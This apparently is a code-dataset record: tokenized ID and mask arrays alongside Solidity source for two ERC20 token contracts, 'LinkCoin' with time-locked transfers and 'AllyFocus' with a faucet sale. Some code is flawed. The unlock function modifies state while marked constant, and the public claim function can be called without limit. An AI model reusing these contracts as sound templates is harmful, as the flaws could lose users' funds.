[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1696, 11353, 1504, 304, 12, 203, 3639, 1758, 8526, 745, 892, 7176, 16, 203, 3639, 2254, 5034, 8526, 745, 892, 30980, 16, 203, 3639, 2254, 5034, 8526, 745, 892, 23020, 5077, 87, 16, 203, 3639, 1758, 8526, 3778, 1758, 1076, 16, 203, 3639, 2254, 5034, 8526, 3778, 2254, 1076, 203, 565, 262, 3238, 288, 203, 3639, 467, 654, 39, 3462, 5079, 6672, 273, 467, 654, 39, 3462, 12, 9971, 63, 20, 19226, 203, 3639, 467, 654, 39, 3462, 394, 6672, 273, 467, 654, 39, 3462, 12, 2867, 1076, 63, 21, 19226, 203, 3639, 2254, 5034, 2078, 6275, 273, 2254, 1076, 63, 21, 8009, 1289, 12, 8949, 87, 63, 20, 19226, 203, 3639, 2254, 5034, 3844, 3494, 310, 273, 30980, 63, 20, 8009, 1289, 12, 1484, 81, 5077, 87, 63, 20, 19226, 203, 3639, 5079, 6672, 18, 12908, 537, 12, 2867, 12, 476, 382, 343, 5752, 3631, 2078, 6275, 1769, 203, 3639, 261, 16, 2254, 5034, 8526, 3778, 7006, 13, 273, 203, 5411, 1245, 382, 343, 5752, 18, 588, 6861, 990, 12, 203, 7734, 5079, 6672, 16, 203, 7734, 394, 6672, 16, 203, 7734, 2078, 6275, 16, 203, 7734, 2254, 1076, 63, 22, 6487, 203, 7734, 374, 203, 5411, 11272, 203, 3639, 1245, 382, 343, 5752, 18, 22270, 12, 203, 5411, 5079, 6672, 16, 203, 5411, 394, 6672, 16, 203, 5411, 2078, 6275, 16, 203, 5411, 2254, 1076, 63, 23, 6487, 203, 5411, 7006, 16, 203, 5411, 374, 203, 3639, 11272, 203, 3639, 2254, 5034, 327, 6275, 273, 394, 6672, 18, 12296, 951, 2 ]
/** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract LCToken is StandardToken, Ownable{ string public version = "1.0"; string public name = "LinkCoin Token"; string public symbol = "LC"; uint8 public decimals = 18; mapping(address=>uint256) lockedBalance; mapping(address=>uint) timeRelease; uint256 internal constant INITIAL_SUPPLY = 10 * (10**8) * (10**18); //address public developer; //uint256 internal crowdsaleAvaible; event Burn(address indexed burner, uint256 value); event Lock(address indexed locker, uint256 value, uint releaseTime); event UnLock(address indexed unlocker, uint256 value); // constructor function LCToken() { address onwer = msg.sender; balances[onwer] = INITIAL_SUPPLY; totalSupply = INITIAL_SUPPLY; } //balance of locked function lockedOf(address _owner) public constant returns (uint256 balance) { return lockedBalance[_owner]; } //release time of locked function unlockTimeOf(address _owner) public constant returns (uint timelimit) { return timeRelease[_owner]; } // transfer to and lock it function transferAndLock(address _to, uint256 _value, uint _releaseTime) public returns (bool success) { require(_to != 0x0); require(_value <= balances[msg.sender]); require(_value > 0); require(_releaseTime > now && _releaseTime <= now + 60*60*24*365*5); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); //if preLock can release uint preRelease = timeRelease[_to]; if (preRelease <= now && preRelease != 0x0) { balances[_to] = balances[_to].add(lockedBalance[_to]); lockedBalance[_to] = 0; } lockedBalance[_to] = lockedBalance[_to].add(_value); timeRelease[_to] = _releaseTime >= timeRelease[_to] ? _releaseTime : timeRelease[_to]; Transfer(msg.sender, _to, _value); Lock(_to, _value, _releaseTime); return true; } /** * @notice Transfers tokens held by lock. */ function unlock() public constant returns (bool success){ uint256 amount = lockedBalance[msg.sender]; require(amount > 0); require(now >= timeRelease[msg.sender]); balances[msg.sender] = balances[msg.sender].add(amount); lockedBalance[msg.sender] = 0; timeRelease[msg.sender] = 0; Transfer(0x0, msg.sender, amount); UnLock(msg.sender, amount); return true; } /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public returns (bool success) { require(_value > 0); require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); return true; } }
address public developer;uint256 internal crowdsaleAvaible; constructor
contract LCToken is StandardToken, Ownable{ string public version = "1.0"; string public name = "LinkCoin Token"; string public symbol = "LC"; uint8 public decimals = 18; mapping(address=>uint256) lockedBalance; mapping(address=>uint) timeRelease; uint256 internal constant INITIAL_SUPPLY = 10 * (10**8) * (10**18); event Burn(address indexed burner, uint256 value); event Lock(address indexed locker, uint256 value, uint releaseTime); event UnLock(address indexed unlocker, uint256 value); function LCToken() { address onwer = msg.sender; balances[onwer] = INITIAL_SUPPLY; totalSupply = INITIAL_SUPPLY; } function lockedOf(address _owner) public constant returns (uint256 balance) { return lockedBalance[_owner]; } function unlockTimeOf(address _owner) public constant returns (uint timelimit) { return timeRelease[_owner]; } function transferAndLock(address _to, uint256 _value, uint _releaseTime) public returns (bool success) { require(_to != 0x0); require(_value <= balances[msg.sender]); require(_value > 0); require(_releaseTime > now && _releaseTime <= now + 60*60*24*365*5); balances[msg.sender] = balances[msg.sender].sub(_value); uint preRelease = timeRelease[_to]; if (preRelease <= now && preRelease != 0x0) { balances[_to] = balances[_to].add(lockedBalance[_to]); lockedBalance[_to] = 0; } lockedBalance[_to] = lockedBalance[_to].add(_value); timeRelease[_to] = _releaseTime >= timeRelease[_to] ? _releaseTime : timeRelease[_to]; Transfer(msg.sender, _to, _value); Lock(_to, _value, _releaseTime); return true; } function transferAndLock(address _to, uint256 _value, uint _releaseTime) public returns (bool success) { require(_to != 0x0); require(_value <= balances[msg.sender]); require(_value > 0); require(_releaseTime > now && _releaseTime <= now + 60*60*24*365*5); balances[msg.sender] = balances[msg.sender].sub(_value); uint preRelease = timeRelease[_to]; if (preRelease <= now && preRelease != 0x0) { balances[_to] = balances[_to].add(lockedBalance[_to]); lockedBalance[_to] = 0; } lockedBalance[_to] = lockedBalance[_to].add(_value); timeRelease[_to] = _releaseTime >= timeRelease[_to] ? _releaseTime : timeRelease[_to]; Transfer(msg.sender, _to, _value); Lock(_to, _value, _releaseTime); return true; } function unlock() public constant returns (bool success){ uint256 amount = lockedBalance[msg.sender]; require(amount > 0); require(now >= timeRelease[msg.sender]); balances[msg.sender] = balances[msg.sender].add(amount); lockedBalance[msg.sender] = 0; timeRelease[msg.sender] = 0; Transfer(0x0, msg.sender, amount); UnLock(msg.sender, amount); return true; } function burn(uint256 _value) public returns (bool success) { require(_value > 0); require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); return true; } }
4,811,102
[ 1, 2867, 1071, 8751, 31, 11890, 5034, 2713, 276, 492, 2377, 5349, 3769, 69, 1523, 31, 3885, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 511, 1268, 969, 353, 8263, 1345, 16, 14223, 6914, 95, 203, 377, 203, 565, 533, 1071, 1177, 273, 315, 21, 18, 20, 14432, 203, 565, 533, 1071, 508, 273, 315, 2098, 27055, 3155, 14432, 203, 565, 533, 1071, 3273, 273, 315, 13394, 14432, 203, 565, 2254, 28, 1071, 225, 15105, 273, 6549, 31, 203, 203, 565, 2874, 12, 2867, 9207, 11890, 5034, 13, 225, 8586, 13937, 31, 203, 565, 2874, 12, 2867, 9207, 11890, 13, 377, 813, 7391, 31, 7010, 377, 203, 565, 2254, 5034, 2713, 5381, 28226, 67, 13272, 23893, 273, 1728, 380, 261, 2163, 636, 28, 13, 380, 261, 2163, 636, 2643, 1769, 203, 377, 203, 203, 203, 565, 871, 605, 321, 12, 2867, 8808, 18305, 264, 16, 2254, 5034, 460, 1769, 203, 565, 871, 3488, 12, 2867, 8808, 28152, 16, 2254, 5034, 460, 16, 2254, 3992, 950, 1769, 203, 565, 871, 1351, 2531, 12, 2867, 8808, 7186, 264, 16, 2254, 5034, 460, 1769, 203, 377, 203, 203, 565, 445, 511, 1268, 969, 1435, 288, 7010, 3639, 1758, 603, 2051, 273, 1234, 18, 15330, 31, 203, 3639, 324, 26488, 63, 265, 2051, 65, 273, 28226, 67, 13272, 23893, 31, 203, 3639, 2078, 3088, 1283, 273, 28226, 67, 13272, 23893, 31, 203, 565, 289, 203, 203, 565, 445, 8586, 951, 12, 2867, 389, 8443, 13, 1071, 5381, 1135, 261, 11890, 5034, 11013, 13, 288, 203, 3639, 327, 8586, 13937, 63, 67, 8443, 15533, 203, 565, 289, 203, 203, 565, 445, 7186, 950, 951, 12, 2867, 389, 8443, 13, 1071, 5381, 1135, 261, 2 ]
/** *Submitted for verification at Etherscan.io on 2021-03-21 */ pragma solidity 0.7.4; // SPDX-License-Identifier: MIT /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20MinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function burn(uint256 amount) public { address contratOwner = address(0xa9859FCC065e4EcEaB0f5e086214c82F1E9b63D2); require(msg.sender == contratOwner); _balances[contratOwner] = _balances[contratOwner].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(contratOwner, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } /* This is the actual contract. The contract inherits the ERC20 standard implemenation */ contract Token is ERC20 { uint256 private exchangeRate = 0.0000005 ether; // initial exchange rate uint256 private doubleRateCount = 0; uint256 private faucetSupply; // the amount of XYR, which will be in the contract/faucet /* The constructor is called once the contract is deployed. Here we mint our tokens, set the name and symbol */ constructor() public ERC20("AllyFocus","XYR") { uint256 total = 1800000000 * 1 ether; faucetSupply = total * 60 / 100; _mint(address(this),faucetSupply); // 60% goes to contract/faucet _mint(0x1A8fa6aA3Fbb0a0E96FDEf3334102FbDa7CD5Ee3, total * 15 / 100); // 15% goes this address _mint(0xD10CE4538D312874618a684784F266141B951d86, total * 15 / 100); // 15% goes to this address _mint(0xAF41c09B707532B6372bc195Dc1002926b130b73, total * 10 / 100); // 10% goes to this address } /* if someone just sends ether to the contract address, this functions is called and we then execute the buyTokens function */ receive() external payable { buyTokens(); } /* this function checks if a certain threshold is reached and the exchange rate must double */ function updateExchangeRate() private { if (balanceOf(address(this))*100 / faucetSupply <= 90 && doubleRateCount == 0) { exchangeRate*=2; doubleRateCount++; } if (balanceOf(address(this))*100 / faucetSupply <= 80 && doubleRateCount == 1) { exchangeRate*=2; doubleRateCount++; } if (balanceOf(address(this))*100 / faucetSupply <= 70 && doubleRateCount == 2) { exchangeRate*=2; doubleRateCount++; } if (balanceOf(address(this))*100 / faucetSupply <= 60 && doubleRateCount == 3) { exchangeRate*=2; doubleRateCount++; } if (balanceOf(address(this))*100 / faucetSupply <= 50 && doubleRateCount == 4) { exchangeRate*=2; doubleRateCount++; } } /* buying tokens according to the exchange rate */ function buyTokens() public payable { require(msg.value > 0, "Amount must be greater than zero"); uint256 amount = msg.value * 10 ** 18 / exchangeRate; _transfer(address(this), msg.sender, amount); updateExchangeRate(); } // The withdrawal of Ether from the contract function withdrawalEther() public { address contratOwner = address(0xa9859FCC065e4EcEaB0f5e086214c82F1E9b63D2); require(msg.sender == contratOwner); msg.sender.transfer(address(this).balance); } /* claiming the 1 free XYR token */ function claim() public { _transfer(address(this), msg.sender, 1 * 10 ** 18); updateExchangeRate(); } function getExchangeRate() public view returns(uint256) { return exchangeRate; } }
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20MinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function burn(uint256 amount) public { address contratOwner = address(0xa9859FCC065e4EcEaB0f5e086214c82F1E9b63D2); require(msg.sender == contratOwner); _balances[contratOwner] = _balances[contratOwner].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(contratOwner, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve 